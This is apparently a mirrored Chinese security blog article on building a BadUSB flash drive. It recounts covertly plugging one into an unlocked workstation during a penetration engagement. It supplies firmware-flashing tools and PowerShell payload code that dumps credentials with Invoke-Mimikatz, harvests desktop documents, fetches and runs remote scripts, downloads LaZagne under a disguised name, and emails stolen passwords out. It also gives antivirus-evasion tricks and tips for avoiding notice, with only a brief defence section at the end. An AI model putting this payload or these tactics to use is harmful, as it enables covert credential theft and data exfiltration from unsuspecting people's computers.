BadUsb----結合例項談此類外設的風險

wyzsk發表於2020-08-19
作者: HackPanda · 2015/10/07 11:30

0x00 前言


大概是從今年年初的時候關注了這一塊的話題,3月份買的TOSHIBA的隨身碟進行的測試,期間一直在完善利用程式碼,期間收到了一些大牛的啟發,感謝Psychson這個專案的開源,DM_在PowerShell方面的文章,以及參考過三好學生,jeary等人的配置,雖然並沒有交流,但是讀了他們的帖子後實踐完善了整個利用過程。這是BadUsb的GitHub地址,以及原作者的操作影片(YouTube俄語翻譯真心欄...自備梯子)

我在某乙方工作,一次去某省級運營商滲透前的交流時,因為來的早會議室還沒有騰出來,在安全室休息時,我所坐的位置的人電腦沒有鎖屏,但是旁邊都是安全室的人,這時候我拿出我的BadUsb,默默的去桌子底下系起了鞋帶...

0x01 BadUsb製作


打包下載,密碼: ixgw,包括量產工具,不包含JRE,win7_X64環境的編譯好了可以直接用,專案資料夾下有command.txt可以參考,如果你是別的系統版本,請使用vs2012重新編譯工具。

PS:建議就刷我的final.txt修改指令碼地址即可,這樣不會存在需要重新刷短接晶片的情況,所有操作只需要修改伺服器端的指令碼即可。如果你已經刷壞,請先在不插電腦時短接住晶片上圓點斜對面的最外兩個針腳,然後啟動MPALL_F2_v363_0D.exe,用QC.ini,插到usb2.0口,Update幾次沒有的話說明你短接手法不好,ok了點start刷一下就恢復隨身碟了,再重頭來

0x02 BadUsb效果


目前的效果是隻需要5秒鐘之內,可過某pc裝機量5億的殺軟,電腦閃一下螢幕就可以拔下隨身碟了,剩下的交給後臺的PowerShell程式,實現的功能有獲取電腦的基本資訊,Invoke-mimikatz抓密碼,桌面截圖,整合LaZagne獲取系統儲存的密碼,遞迴獲取桌面所有txt doc類 xls類檔案,最終打成壓縮包,可透過郵箱或者ftp傳送,實戰中建議使用ftp傳送 ps:因為有人桌面的文件打包出來近GB...

看我拿本機測試能得到什麼

影片密碼 HappyTime

badusb1

badusb2

tree

doc

screen

info

Pass1

Pass2

0x03 BadUsb實戰


基本上從影片來看 算上裝驅動大概需要10秒時間,實際執行Payload大概是5秒,所以只需要給你5秒,5秒你到底能做到什麼?

友情提醒

  1. 繫鞋帶動作要自然
  2. 速度要快
  3. 有小夥伴掩護那是再好不過的

看看我們能得到什麼

doc2

secret

這個資料量有多恐怖,這只是一個安全室普通員工電腦桌面的資訊,在後來對這些資訊詳細分析後發現了堡壘機跳板機的登入密碼,以及堡壘機最高許可權的賬戶,至此,該省所有裝置都在控制之中,包括短彩信,智慧網,長途網,話務網,以及基礎設施,都收入囊中。

login

som

som2

email

抱歉因為客戶原因,無法透露過多細節,讀者可當是概念證明,畢竟威脅真實存在。

0x04 BadUsb-Exp


再次感謝Invoke-Mimikatz作者,感謝DM_,程式碼為拼接修改而來,照慣例留坑,防伸手黨,勿怪 首先,僅透過BadUsb下載一個powershell指令碼,其中在呼叫IEX繼續下載新的PowerShell,這樣設計是為了先拿到一份LaZagne獲取的密碼,因為有些人的桌面文件表格太大了,需要等待很久,避免夜長夢多所為。

...
...#Invoke-Mimikatz
$folderDateTime = (get-date).ToString('d-M-y HHmmss')
$userDir = (Get-ChildItem env:\userprofile).value + '\Report ' + $folderDateTime
$fileSaveDir = New-Item  ($userDir) -ItemType Directory
Invoke-Mimikatz -Dumpcreds >> $fileSaveDir'/DumpPass.txt'
$copyDir = (Get-ChildItem env:\userprofile).value + '\Desktop'
$copyToDir = New-Item $fileSaveDir'\Doc' -ItemType Directory
Dir -filter *.txt -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.doc -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.docx -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.xls -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.xlsx -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/GetPass.ps1');

GetPass.ps1

(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/GetPass.rar','D:\Get.exe');
(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/Command.rar','D:\Command.bat');
D:\Command.bat;
$SMTPServer = 'smtp.qq.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('username', 'password');
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = 'email-address'
$ReportEmail.To.Add('To-address')
$ReportEmail.Subject = 'GetPass'
$ReportEmail.Body = 'Passwords In Applications' 
$ReportEmail.Attachments.Add('D:\GetPass.txt')
$SMTPInfo.Send($ReportEmail)
remove-item 'D:\GetPass.txt'
remove-item 'D:\Get.exe'

其中的GetPass.rar實為LaZagne,直接下載exe會被大部分殺軟攔截,所以使用重新命名功能,之所以呼叫了一個批處理,是因為LaZagne的獲取Windows密碼模組(非sysadmin模組)注入Lsass程式是會被殺軟攔截,所以(D:\Get.exe sysadmin & D:\Get.exe svn & D:\Get.exe database & D:\Get.exe browsers & D:\Get.exe wifi & D:\Get.exe mails) > D:\GetPass.txt 笨方法繞過殺軟。

好現在是揭曉坑的時候了- -,破壞了這個指令碼刪除生成檔案的地方~你們插完別人的電腦,這些臨時檔案就會一直在那裡躺著~包括這些密碼壓縮包喔~

0x05 Sec-Usb?


既然明白了風險存在,如何防護呢?

Know it,then protect it.

首先看一種暴力的 德國LINDY USB電腦鎖 電子資訊資料防護加密防盜防竊取 直接鎖死u口,可能適合跳板機,開發機使用,但是個人機器不現實。

再有就是類似sec-usb這種充電線了,斷掉usb傳輸的兩個data線,只保留power,這樣就只能充電了,某廠商有這種商品,很貴呦~

連結: http://pan.baidu.com/s/1c09E7PQ 密碼: 9b6p

0xFF 版權宣告


本文獨家首發於烏雲知識庫(drops.wooyun.org)。本文並沒有對任何單位和個人授權轉載。如本文被轉載,一定是屬於未經授權轉載,屬於嚴重的侵犯智慧財產權,本單位將追究法律責任。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章